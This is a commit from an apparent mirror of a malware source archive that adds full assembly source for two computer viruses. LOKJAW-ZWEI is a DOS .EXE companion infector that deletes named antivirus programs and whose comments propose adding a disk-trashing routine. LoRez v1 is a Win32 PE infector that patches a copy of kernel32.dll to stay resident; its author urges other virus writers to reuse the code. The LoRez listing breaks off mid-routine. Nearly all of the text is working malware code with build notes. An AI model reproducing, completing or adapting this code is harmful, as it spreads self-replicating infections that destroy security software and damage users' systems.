mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,566 @@
|
||||
;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
|
||||
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
|
||||
;
|
||||
;LOKJAW-ZWEI is a resident spawning virus which installs itself in
|
||||
;memory using the same engine as the original Civil War/Proto-T virus.
|
||||
;It is simpler in that none of its addresses have to be
|
||||
;relative, an indirect benefit of the fact that the virus has no
|
||||
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
|
||||
;much like a number of other companion/spawning viruses published in
|
||||
;previous newsletters.
|
||||
;
|
||||
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
|
||||
;itself as companion .COMfile to the "host." Due to the inherent rules
|
||||
;of DOS, this ensures the virus will be executed before the "host" the
|
||||
;next time the infected program is used. In reality, LOKJAW is even
|
||||
;simpler than that. If not in memory, the first time the host is
|
||||
;called, LOKJAW will go resident and not even bother to load it.
|
||||
;In most cases, the user will assume a slight error and call the host
|
||||
;again, at which point it will function normally. LOKJAW will then infect
|
||||
;every subsequent .EXE file called. LOKJAW is very transparent in operation,
|
||||
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
|
||||
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
|
||||
;LOKJAW spawning variants are so simple they don't even need much in the
|
||||
;way of installation checks. The virus simply becomes resident the first
|
||||
;time it is called. Once in memory, when other infect file are executed
|
||||
;LOKJAW merely looks over the loaded file, if it recognizes itself it
|
||||
;discards the load and proceeds to execute the "infected" file as would
|
||||
;be the case on an uninfected system.
|
||||
;
|
||||
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
|
||||
;retaliating virus by quickly deleting the anti-virus program before it
|
||||
;can execute and then displaying a "chomping" graphic. Even if the anti-
|
||||
;virus program cannot detect LOKJAW in memory, it will be deleted. This
|
||||
;makes it essential that the user know how to either remove the virus from
|
||||
;memory before beginning anti-virus measures, or at the least run the
|
||||
;anti-virus component from a write-protected disk. (If the LOKJAW viruses
|
||||
;are present in memory and an anti-virus program is run from a write-
|
||||
;protected disketter, it will, of course, generate "write protect"
|
||||
;errors.) At a time when retail anti-virus packages are becoming more
|
||||
;complicated - and more likely that the
|
||||
;average user will run them from default installations on his hard file -
|
||||
;LOKJAW's retaliating power makes it a potentially very annoying pest.
|
||||
;A virus-programmer serious about inconveniencing a system could do a
|
||||
;number of things with this basic idea. They are;
|
||||
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
|
||||
; instantly.
|
||||
; 2. Alter the_stinger routine, so that the virus immediately attacks the
|
||||
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
|
||||
; merely makes the disk inaccessible until a warm reboot if an anti-virus
|
||||
; program is employed against it. By placing
|
||||
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
|
||||
; an unknowing user to employ anti-virus measures on a machine where
|
||||
; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
|
||||
; which does not try to delete anti-virus files, displays the "chomp"
|
||||
; and mimics trashing the disk even when the anti-virus program is
|
||||
; used from a write-protected diskette. Of course, the user will
|
||||
; see no "write protect" error as with the other viruses. The disk merely
|
||||
; becomes inacessible.
|
||||
;
|
||||
;These anti-anti-virus strategies are becoming more common in viral
|
||||
;programming.
|
||||
;
|
||||
;Mark Ludwig programmed the features of a direct-action retaliating
|
||||
;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
|
||||
;Encroacher viruses attack anti-virus software by deletion of files central
|
||||
;to the functionality of the software.
|
||||
;
|
||||
;And in this issue, the Sandra virus employs a number
|
||||
;of anti-anti-virus features.
|
||||
;
|
||||
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
|
||||
;DREI infected files from a system, simply delete the "companion" .COM
|
||||
;duplicates of your executables. Ensure that the machine has been booted
|
||||
;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
|
||||
;time it will be necessary for you to restore the contaminated files from
|
||||
;a clean back-up.
|
||||
;
|
||||
;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
|
||||
;files in plain sight. Generally, spawning viruses make themselves
|
||||
;hidden-read-only-system files. This is an easy hack and the code is supplied
|
||||
;in earlier issues of the newsletter. The modification is left to
|
||||
;the reader as an academic exercise.
|
||||
|
||||
.radix 16
|
||||
cseg segment
|
||||
model small
|
||||
assume cs:cseg, ds:cseg, es:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
oi21 equ endit
|
||||
filelength equ endit - begin
|
||||
nameptr equ endit+4
|
||||
DTA equ endit+8
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
begin: jmp virus_install
|
||||
|
||||
note:
|
||||
db '[l™‡kõ„W-zW��].á�.šrã$ņd‰M–$'
|
||||
db 'ÅH‹$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å,$“âÅ.”Ÿ.'
|
||||
db '€â˜ž.¥‰w$Àä×îâ' ; I.D. note: will probably be
|
||||
; documented in VSUM
|
||||
|
||||
|
||||
; install
|
||||
virus_install: mov ax,cs ; reduce memory size
|
||||
dec ax
|
||||
mov ds,ax
|
||||
cmp byte ptr ds:[0000],5a ; check if last memory
|
||||
jne cancel ; block
|
||||
mov ax,ds:[0003]
|
||||
sub ax,100 ; decrease memory
|
||||
mov ds:0003,ax
|
||||
Zopy_virus:
|
||||
mov bx,ax ; copy to claimed block
|
||||
mov ax,es ; PSP
|
||||
add ax,bx ; virus start in memory
|
||||
mov es,ax
|
||||
mov cx,offset endit - begin ; cx = length of virus
|
||||
mov ax,ds ; restore ds
|
||||
inc ax
|
||||
mov ds,ax
|
||||
lea si,ds:[begin] ; point to start of virus
|
||||
lea di,es:0100 ; point to destination
|
||||
rep movsb ; copy virus in memory
|
||||
|
||||
|
||||
|
||||
Grab_21:
|
||||
|
||||
mov ds,cx ; hook interrupt 21h
|
||||
mov si,0084h ;
|
||||
mov di,offset oi21
|
||||
mov dx,offset check_exec
|
||||
lodsw
|
||||
cmp ax,dx ;
|
||||
je cancel ; exit, if already installed
|
||||
stosw
|
||||
movsw
|
||||
|
||||
push es
|
||||
pop ds
|
||||
mov ax,2521h ; revector int 21h to virus
|
||||
int 21h
|
||||
|
||||
cancel: ret
|
||||
|
||||
check_exec: ; look over loaded files
|
||||
pushf ; for executables
|
||||
|
||||
push es ; push everything onto the
|
||||
push ds ; stack
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
|
||||
cmp ax,04B00h ; is a file being
|
||||
; executed ?
|
||||
|
||||
|
||||
jne abort ; no, exit
|
||||
|
||||
|
||||
|
||||
|
||||
;if yes, try the_stinger
|
||||
do_infect: call infect ; then try to infect
|
||||
|
||||
|
||||
|
||||
|
||||
abort: ; restore everything
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
pop es
|
||||
popf
|
||||
|
||||
bye_bye:
|
||||
; exit
|
||||
jmp dword ptr cs:[oi21]
|
||||
|
||||
|
||||
new_24h:
|
||||
mov al,3 ; critical error handler
|
||||
iret
|
||||
|
||||
infect:
|
||||
mov cs:[name_seg],ds ; this routine
|
||||
mov cs:[name_off],dx ; essentially grabs
|
||||
; the name of the file
|
||||
cld ; <--
|
||||
mov di,dx ; being loaded
|
||||
push ds ; and copies it into a
|
||||
pop es ; buffer where the virus
|
||||
mov al,'.' ; can compare it to its
|
||||
repne scasb ; "anti-virus" list, from
|
||||
; the_stinger routine
|
||||
call the_stinger ; now, call Lokjaw's anti-virus
|
||||
; stinger
|
||||
|
||||
; no anti-virus, resume infection
|
||||
|
||||
cld ; clear direction flags
|
||||
mov word ptr cs:[nameptr],dx ; save pointer to the filename
|
||||
mov word ptr cs:[nameptr+2],ds
|
||||
|
||||
mov ah,2Fh ; get old DTA
|
||||
int 21h
|
||||
push es
|
||||
push bx
|
||||
|
||||
push cs ; set new DTA
|
||||
|
||||
pop ds
|
||||
mov dx,offset DTA
|
||||
mov ah,1Ah
|
||||
int 21h
|
||||
|
||||
call searchpoint ; find filename for virus
|
||||
push di
|
||||
mov si,offset COM_txt ; is extension 'COM' ?
|
||||
|
||||
mov cx,3
|
||||
rep cmpsb
|
||||
pop di
|
||||
jz do_com ; if so, go to out .COM routine
|
||||
mov si,offset EXE_txt ; is extension .EXE ?
|
||||
nop
|
||||
mov cl,3
|
||||
rep cmpsb
|
||||
jnz return
|
||||
|
||||
do_exe: mov si,offset COM_txt ; load .COM extent mask
|
||||
nop
|
||||
call change_ext ; change extension on filename.EXE
|
||||
mov ax,3300h ; to .COM
|
||||
nop
|
||||
int 21h
|
||||
push dx
|
||||
|
||||
cwd
|
||||
inc ax ; clear flags
|
||||
push ax
|
||||
int 21h
|
||||
|
||||
Grab24h:
|
||||
|
||||
mov ax,3524h ; get critical error handler vector
|
||||
int 21h
|
||||
push bx
|
||||
push es
|
||||
push cs ; set interrupt 24h to new handler
|
||||
pop ds
|
||||
mov dx,offset new_24h
|
||||
mov ah,25h
|
||||
push ax
|
||||
int 21h
|
||||
|
||||
|
||||
lds dx,dword ptr [nameptr] ; create the virus (with name)
|
||||
xor cx,cx ; of EXE target
|
||||
mov ah,05Bh ;
|
||||
int 21
|
||||
jc return1
|
||||
xchg bx,ax ; save handle
|
||||
|
||||
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov cx,filelength ; cx = virus length
|
||||
mov dx,offset begin
|
||||
mov ah,40h ; write the virus to the created
|
||||
int 21h ; file
|
||||
|
||||
mov ah,3Eh ; close the file
|
||||
int 21h
|
||||
|
||||
return1: pop ax ; restore interrupt 24h
|
||||
pop ds
|
||||
pop dx
|
||||
int 21h
|
||||
|
||||
pop ax
|
||||
pop dx ; restore Crtl-break flags
|
||||
int 21h
|
||||
|
||||
mov si,offset EXE_txt ; load .EXE mask
|
||||
call change_ext ; and change the extension on
|
||||
; the filename back to original
|
||||
return: mov ah,1Ah ; host
|
||||
pop dx ; restore old DTA
|
||||
pop ds
|
||||
int 21H
|
||||
|
||||
ret ;
|
||||
|
||||
do_com: call findfirst ; is the .COMfile executed the virus?
|
||||
cmp word ptr cs:[DTA+1Ah],endit - begin
|
||||
jne return ; no, so exit
|
||||
mov si,offset EXE_txt ; does the .EXE variant exist ?
|
||||
call change_ext
|
||||
call findfirst
|
||||
jnc return ;
|
||||
mov si,offset COM_txt ; load .COM extension
|
||||
call change_ext ; change the filename and
|
||||
jmp short return ; jump to exit
|
||||
|
||||
searchpoint: les di,dword ptr cs:[nameptr]
|
||||
mov ch,0FFh
|
||||
mov al,0
|
||||
repnz scasb
|
||||
sub di,4
|
||||
ret
|
||||
change_ext: call searchpoint
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
ret
|
||||
|
||||
findfirst: lds dx,dword ptr [nameptr]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21h
|
||||
ret
|
||||
|
||||
the_stinger: ; the_stinger compares the loaded filename with these defaults
|
||||
cmp word ptr es:[di-3],'MI' ;Integrity Master
|
||||
je jumptoass ; Stiller Research
|
||||
|
||||
cmp word ptr es:[di-3],'XR' ; Virx = VIREX
|
||||
je jumptoass ; if there's a match
|
||||
; go to assassinate file
|
||||
cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP
|
||||
jne next1 ; F-Prot
|
||||
cmp word ptr es:[di-5],'TS'
|
||||
je jumptoass
|
||||
|
||||
next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV
|
||||
je jumptoass ; Central Point
|
||||
|
||||
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
|
||||
jne next2
|
||||
cmp word ptr es:[di-5],'RP'
|
||||
je jumptoass
|
||||
|
||||
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
|
||||
jne next3
|
||||
cmp word ptr es:[di-5],'CS'
|
||||
je jumptoass
|
||||
|
||||
cmp word ptr es:[di-3],'NA' ; *lean = CLEAN.
|
||||
jne next3 ; why not, eh?
|
||||
cmp word ptr es:[di-5],'EL'
|
||||
je jumptoass
|
||||
next3: ret
|
||||
jumptoass: ; assassinate anti-virus program
|
||||
|
||||
mov ds,cs:[name_seg] ; points to
|
||||
mov dx,cs:[name_off] ; filename to delete
|
||||
|
||||
mov ax, 4301h ; clear attributes
|
||||
mov cx, 00h
|
||||
int 21h
|
||||
jc chomp ; exit on error to visual
|
||||
mov ah, 41h ; delete anti-virus file
|
||||
int 21h ; exit on error to visual
|
||||
jc chomp
|
||||
chomp:
|
||||
push cs ; chomper visual
|
||||
pop ds
|
||||
mov ah, 03h
|
||||
int 10h
|
||||
mov [c1], bh ; save cursor
|
||||
mov [c2], dh
|
||||
mov [c3], dl
|
||||
mov [c4], ch
|
||||
mov [c5], cl
|
||||
mov ah, 1
|
||||
mov cl, 0
|
||||
mov ch, 40h
|
||||
int 10h
|
||||
|
||||
mov cl, 0
|
||||
mov dl, 4Fh
|
||||
mov ah, 6
|
||||
mov al, 0
|
||||
mov bh, 0Fh
|
||||
mov ch, 0
|
||||
mov cl, 0
|
||||
mov dh, 0
|
||||
mov dl, 4Fh
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 0
|
||||
mov dl, 1Fh
|
||||
mov bh, 0
|
||||
int 10h
|
||||
|
||||
mov dx,offset eyes ; print the eyes
|
||||
mov ah, 9
|
||||
mov bl, 0Fh
|
||||
int 21h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 1
|
||||
mov dl, 0
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0DCh
|
||||
mov bl, 0Fh
|
||||
mov cx, 50h
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 18h
|
||||
mov dl, 0
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0DFh
|
||||
mov bl, 0Fh
|
||||
mov cx, 50h
|
||||
int 10h
|
||||
|
||||
mov dl, 0
|
||||
chomp_1:
|
||||
mov ah, 2
|
||||
mov dh, 2
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 55h
|
||||
mov bl, 0Fh
|
||||
mov cx, 1
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov dh, 17h
|
||||
inc dl
|
||||
int 10h
|
||||
|
||||
mov ah, 9
|
||||
mov al, 0EFh
|
||||
mov bl, 0Fh
|
||||
int 10h
|
||||
|
||||
inc dl
|
||||
cmp dl, 50h
|
||||
jl chomp_1
|
||||
mov [data_1], 0
|
||||
chomp_3:
|
||||
mov cx, 7FFFh ; delays
|
||||
|
||||
locloop_4:
|
||||
loop locloop_4
|
||||
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Ah
|
||||
jl chomp_3
|
||||
mov [data_1], 0
|
||||
mov cl, 0
|
||||
mov dl, 4Fh
|
||||
chomp_5:
|
||||
mov ah, 6
|
||||
mov al, 1
|
||||
mov bh, [data_2]
|
||||
mov ch, 0Dh
|
||||
mov dh, 18h
|
||||
int 10h
|
||||
|
||||
mov ah, 7
|
||||
mov al, 1
|
||||
mov bh, [data_2]
|
||||
mov ch, 0
|
||||
mov dh, 0Ch
|
||||
int 10h
|
||||
mov cx, 3FFFh ; delays
|
||||
|
||||
locloop_6:
|
||||
loop locloop_6
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Bh
|
||||
jl chomp_5
|
||||
mov [data_1], 0
|
||||
chomp_7:
|
||||
mov cx, 7FFFh ; delays
|
||||
|
||||
locloop_8:
|
||||
loop locloop_8
|
||||
inc [data_1]
|
||||
cmp [data_1], 0Ah
|
||||
jl chomp_7
|
||||
mov ah, 6
|
||||
mov al, 0
|
||||
mov bh, [data_2]
|
||||
mov ch, 0
|
||||
mov cl, 0
|
||||
mov dh, 18h
|
||||
mov dl, 4Fh
|
||||
int 10h
|
||||
|
||||
mov cl, 7
|
||||
mov ch, 6
|
||||
int 10h
|
||||
|
||||
mov ah, 2
|
||||
mov bh, [c1]
|
||||
mov dh, [c2]
|
||||
mov dl, [c3]
|
||||
int 10h
|
||||
mov al, bh
|
||||
mov ah, 5
|
||||
int 10h
|
||||
mov ah, 1
|
||||
mov ch, [c4]
|
||||
mov cl, [c5]
|
||||
int 10h
|
||||
mov ax, 0003h
|
||||
int 10h ; sort of a cls
|
||||
mov ax, 00ffh
|
||||
ret
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
EXE_txt db 'EXE',0 ; extension masks
|
||||
COM_txt db 'COM',0
|
||||
|
||||
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
|
||||
|
||||
data_1 db 0
|
||||
data_2 db 0
|
||||
|
||||
name_seg dw ?
|
||||
name_off dw ?
|
||||
|
||||
c1 db 0
|
||||
c2 db 0
|
||||
c3 db 0
|
||||
c4 db 0
|
||||
c5 db 0
|
||||
|
||||
note2: db 'Lokjaw-Zwei'
|
||||
|
||||
endit:
|
||||
|
||||
|
||||
cseg ends
|
||||
end begin
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,808 @@
|
||||
|
||||
;** NOTE: original release assumed that this virus worked on WinNT, but I
|
||||
;** never tested it. I later found out that it does not go memory resident
|
||||
;** under WinNT, although it causes no system faults, etc.
|
||||
|
||||
;
|
||||
; LoRez v1 - By Virogen [NoP]
|
||||
;
|
||||
; This is my final research on Win32 resident kernel infection. LoRez is
|
||||
; a memory-resident Win32 PE EXE Infector. It successfully operates on
|
||||
; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus
|
||||
; goes memory resident by infecting kernel32.dll. It changes the export
|
||||
; RVA of GetFileAttributesA to that of the virus code. The next time the
|
||||
; system boots, the virus goes memory resident and infects any PE EXE
|
||||
; win32 calls GetFileAttributesA on. This includes any EXE executed as well
|
||||
; as many those accessed in many other file manipulations. In order to
|
||||
; get around the shared lock on kernel32.dll, LoRez copies the kernel
|
||||
; to the windows directory and infects it there. This new copy of the
|
||||
; kernel will be found before the original one in the system directory
|
||||
; when the system is booted.
|
||||
;
|
||||
; In order to remove the use of static APIs addresses, LoRez searches
|
||||
; the kernel32 export table in memory for the APIs which it requires. It
|
||||
; does this by first determining the operating system. It finds this by
|
||||
; checking a value on the stack and comparing it to the Win95/98 or WinNT
|
||||
; kernel bases, which are static regardless of kernel version. If the
|
||||
; operating system cannot be determined, then LoRez passes control back
|
||||
; to the host without ever accessing any memory which might cause a fault.
|
||||
; Once the kernel base is determined, LoRez finds the export table and
|
||||
; then extracts the addresses of the APIs it needs.
|
||||
;
|
||||
; Virus Name: LoRez v1
|
||||
; Virus Author: Virogen [NoP]
|
||||
; Release Date: 03-05-98
|
||||
; Operating Systems: Win95/WinNT/Win98
|
||||
; Hosts : PE EXE files
|
||||
; Encryption: Removed, till I get a new poly engine coded
|
||||
; File Date/Time: Unchanged
|
||||
; File Attributes: Unchanged ; the virus resets and then restores them
|
||||
; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO
|
||||
; file size increase due to the alignment of the EXE.
|
||||
;
|
||||
;
|
||||
; Past/Present/Future:
|
||||
; - My first Win95 virus was Yurn released last week. This was my first
|
||||
; attempt at windows resident infection and my first dive into the
|
||||
; windows operating system. Yurn infected the kernel by changing the
|
||||
; entry code of GetFileAttributesA to a call to the virus code. Yurn
|
||||
; was limited because it depended on static APIs and kernel versions
|
||||
; hardcoded into it. I regret releasing it in regards to the
|
||||
; superority of its spawn LoRez which was released only a week
|
||||
; later. However, the Yurn release helped me to acquire many new
|
||||
; insights from my virus colleagues. Release date: 02-25-98.
|
||||
;
|
||||
; - LoRez is my attempt at full Win32 infection without the use of
|
||||
; static APIs. LoRez is far superior to Yurn in many respects.
|
||||
; It has been a great success and I think will open up a new era of
|
||||
; Win32 infection. The techniques LoRez uses opens the Win32 platform
|
||||
; to many new possibilities. All that is left now is to add more
|
||||
; advanced features such as polymorphism and stealth. I sincerely hope
|
||||
; that virus authors will find this code useful in creating their own
|
||||
; kernel infectors. Release date: 03-05-98
|
||||
;
|
||||
; - The future: I will release a 32-bit polymorphic engine next,
|
||||
; along with a new and better virus using the techniques I've
|
||||
; researched here. This is ofcourse, provided I can finish it
|
||||
; before Mar 16 (I'll be gone from the computer world for 3
|
||||
; months). If not, then I look forward to seeing the new virus
|
||||
; code my colleagues have written in my absence.
|
||||
;
|
||||
; How to contact me : try effnet #virus
|
||||
;
|
||||
; Greetz -
|
||||
; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman,
|
||||
; VirusBuster, and others.
|
||||
;
|
||||
;
|
||||
; HOW TO COMPILE LOREZ:
|
||||
; I use TASM32 v5. Included is a makefile for LOREZ. After you compile
|
||||
; the virus, just take out your handy hex editor and change the flags
|
||||
; of the code object to 0E0000040h. Note that this is stored in intel
|
||||
; reverse dd at offset 21Ch in LOREZ.EXE.
|
||||
;
|
||||
;
|
||||
;
|
||||
;
|
||||
;
|
||||
.386
|
||||
locals
|
||||
jumps
|
||||
.model flat,STDCALL
|
||||
|
||||
L equ
|
||||
|
||||
extrn ExitProcess : PROC ; this is so the import table
|
||||
; won't be empty. Is not used
|
||||
; in the virus. You'll need
|
||||
; IMPORT32.LIB for this one.
|
||||
|
||||
org 1000h
|
||||
.data ; our lonely data object
|
||||
progname db 'LoRez Virus host (c)Virogen',0
|
||||
.code ; .code - change flags after compile
|
||||
; to r/w/x
|
||||
;-----------------------------------------------------------------------------
|
||||
;
|
||||
start: ; the would-be host
|
||||
push 0
|
||||
call [ExitProcessAPI] ; exit process
|
||||
|
||||
;-----------------------------------------------------------------------------
|
||||
;
|
||||
; LoRez virus starts here
|
||||
;
|
||||
MAX_HDR equ 0250h ; we shouldn't need more than this
|
||||
ID_OFF equ 0ch ; offset in header for our marker
|
||||
VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here
|
||||
VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size
|
||||
MEM_ID equ 12345678h ; our communcation needs
|
||||
;
|
||||
;
|
||||
vstart:
|
||||
call geteip ; find relative offset
|
||||
geteip:
|
||||
mov ebp,[esp] ; grab it off stack
|
||||
mov eax,ebp ; used below
|
||||
sub ebp,offset geteip ; fix it up
|
||||
add esp,4 ; fix da stack
|
||||
|
||||
db 2dh ; sub eax
|
||||
host_addr dd (offset geteip-offset start)
|
||||
push eax ; subtract entry point differ
|
||||
; to get orginal entry VA
|
||||
|
||||
mov edx,[esp+4] ; determine OS
|
||||
and edx,0fff00000h
|
||||
mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000
|
||||
cmp edx,0bff00000h ; Win95?
|
||||
jz good_os
|
||||
mov eax,edx ; our NT kernel at 77F00000
|
||||
cmp edx,077f00000h ; WinNT?
|
||||
jnz goto_host ; abort if neither
|
||||
|
||||
good_os:
|
||||
;
|
||||
; a brief explanation of the organization of the export table would be
|
||||
; useful here. Ok, basically there are three tables within the export
|
||||
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
|
||||
; Table (16bit). Ok, the ordinal number of an API is the entry number of
|
||||
; the API in the RVA array. So, multiply the ordinal number by four and
|
||||
; you've got an index into the API RVA Table. Probably you don't already
|
||||
; have the ordinal number though, so you'll have to find it. To do this,
|
||||
; you use the Name Pointer Table. This is an array of pointers to the
|
||||
; asciiz name of each API. When you find the pointer of the API you're
|
||||
; looking for by string compares, you take the index number of it and
|
||||
; multiply it by 2 (because the ordinal table is 16bit). Index the result
|
||||
; in the ordinal table, and you're all set.
|
||||
;
|
||||
;
|
||||
mov [ebp+imagebase],eax ; save kernel base
|
||||
mov esi,eax
|
||||
add esi,[esi+3ch] ; relative ptr to PE header
|
||||
cmp word ptr [esi],'EP' ; make sure we're on right track
|
||||
jnz goto_host ; if not.. abort
|
||||
mov esi,[esi+120] ; get export table RVA
|
||||
add esi,eax ; relative to image base
|
||||
mov edi,[esi+36] ; get ordinal table RVA
|
||||
add edi,eax ; relative to image base
|
||||
mov [ebp+ordinaltbl],edi ; save it
|
||||
mov edi,[esi+32] ; get name ptr RVA
|
||||
add edi,eax ; is relative to image base
|
||||
mov [ebp+nameptrtbl],edi ; save it
|
||||
mov ecx,[esi+24] ; get number of name ptrs
|
||||
mov esi,[esi+28] ; get address table RVA
|
||||
add esi,eax ; is relative to image base
|
||||
mov [ebp+adrtbl],esi ; save it
|
||||
|
||||
xor edx,edx ; edx is our ordinal counter
|
||||
; edi=name ptr table
|
||||
; ecx=number of name ptrs
|
||||
lea esi,[ebp+APIs] ; -> API Name ptrs
|
||||
mov [ebp+ourAPIptr],esi ; save it
|
||||
lea eax,[ebp+API_Struct] ; our API address will go here
|
||||
mov [ebp+curAPIptr],eax ; save it
|
||||
chk_next_API_name:
|
||||
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
|
||||
mov ebx,[esi] ; load ptr to our API name
|
||||
add ebx,ebp ; add relative address
|
||||
mov esi,[edi] ; get API name RVA
|
||||
add esi,[ebp+imagebase] ; relative to image base
|
||||
compare_API_name:
|
||||
lodsb
|
||||
cmp al,byte ptr [ebx] ; compare a byte of names
|
||||
jnz not_our_API ; it's not our API
|
||||
cmp al,0 ; end of string?
|
||||
jz is_our_API ; it's our API
|
||||
inc ebx
|
||||
jmp compare_API_name
|
||||
|
||||
not_our_API:
|
||||
inc edx ; increment API counter
|
||||
cmp edx,ecx ; last entry of name ptr table?
|
||||
jz goto_host ; uhoh.. we didn't find one
|
||||
; of our APIs.. abort it all
|
||||
add edi,4 ; increment export name ptr idx
|
||||
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
|
||||
jmp chk_next_API_name
|
||||
|
||||
is_our_API:
|
||||
|
||||
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
|
||||
push ecx
|
||||
push edx
|
||||
xchg edx,eax ; edx=API number
|
||||
add eax,eax ; *2 cuz ordinals are words
|
||||
add edi,eax ; add to ordinal table VA
|
||||
mov ax,[edi] ; get ordinal (word)
|
||||
xor edx,edx
|
||||
mov ecx,4
|
||||
mul ecx ; *4 cuz address tbl is dd's
|
||||
mov edi,[ebp+adrtbl] ; load address table VA
|
||||
add edi,eax ; set idx to API
|
||||
mov eax,edi
|
||||
sub eax,[ebp+imagebase] ; get the VA of the entry
|
||||
mov [ebp+originalRVAptr],eax ; save it for kernel infection
|
||||
; notice that our last API
|
||||
; in the array is the one we
|
||||
; hook
|
||||
mov eax,[edi] ; get API RVA
|
||||
mov [ebp+originalRVA],eax ; save it for kernel infection
|
||||
add eax,[ebp+imagebase] ; is relative to image base
|
||||
mov edi,[ebp+curAPIptr] ; idx to storage stucture
|
||||
mov [edi],eax ; save VA of API
|
||||
add edi,4 ; increment index
|
||||
mov [ebp+curAPIptr],edi ; save
|
||||
|
||||
pop edx
|
||||
pop ecx
|
||||
|
||||
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
|
||||
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
|
||||
add esi,4 ; increment idx API name ptr structure
|
||||
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
|
||||
cmp dword ptr [esi],0 ; end of our API structure?
|
||||
jz found_all ; if so then we got 'em all
|
||||
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
|
||||
xor edx,edx ; reset API counter
|
||||
jmp chk_next_API_name
|
||||
|
||||
;
|
||||
; now we're done finding all of our API VAs
|
||||
;
|
||||
|
||||
found_all:
|
||||
|
||||
mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag
|
||||
|
||||
lea eax,[ebp+fname]
|
||||
push eax ; save for below
|
||||
push 0FFh ; max buffer size
|
||||
push eax ; ptr
|
||||
call [ebp+GetSysDirAPI] ; get system directory
|
||||
|
||||
pop edi
|
||||
add edi,eax ; find end of directory name
|
||||
push edi ; where the filename needz to go
|
||||
|
||||
lea eax,[ebp+copyfname]
|
||||
push eax ; save for below
|
||||
push 0ffh
|
||||
push eax
|
||||
call [ebp+GetWinDirAPI] ; get windoze directory
|
||||
|
||||
pop edi
|
||||
add edi,eax
|
||||
|
||||
lea esi,[ebp+kernfile]
|
||||
call copy_str ; append \kernel32.dll to windoze dir
|
||||
|
||||
pop edi ; restore windoze sys dir
|
||||
lea esi,[ebp+kernfile]
|
||||
call copy_str ; append kernel32.dll to windoze sys dir
|
||||
|
||||
push 0
|
||||
lea eax,[ebp+copyfname] ; from sys dir
|
||||
push eax
|
||||
lea eax,[ebp+fname] ; to win dir
|
||||
push eax
|
||||
call [ebp+CopyFileAPI] ; copy kernel to windows dir
|
||||
|
||||
cmp eax,0 ; if error then we're prob.
|
||||
jz goto_host ; already in memory
|
||||
|
||||
lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll
|
||||
mov [ebp+fnameptr],eax ; set file ptr
|
||||
|
||||
call infect_file ; infect the kernel
|
||||
|
||||
goto_host:
|
||||
|
||||
pop eax ; restore entry VA
|
||||
jmp eax ; jmp to host entry VA
|
||||
|
||||
;-----------------------------------------------
|
||||
; infect file - call with fnameptr set
|
||||
;
|
||||
infect_file:
|
||||
|
||||
mov eax,[ebp+fnameptr]
|
||||
push eax
|
||||
mov ecx,MEM_ID ; let us know its us
|
||||
call [ebp+GetAttribAPI] ; get file attributes
|
||||
mov [ebp+oldattrib],eax
|
||||
|
||||
cmp eax,-1 ; if error then maybe shared
|
||||
jnz not_shared
|
||||
ret ; can't infect it
|
||||
|
||||
not_shared:
|
||||
push 20h ; +A
|
||||
mov eax,[ebp+fnameptr]
|
||||
push eax
|
||||
call [ebp+SetAttribAPI] ; clear 'da attribs
|
||||
|
||||
call open_default_file
|
||||
|
||||
cmp eax,-1
|
||||
jnz open_ok
|
||||
ret
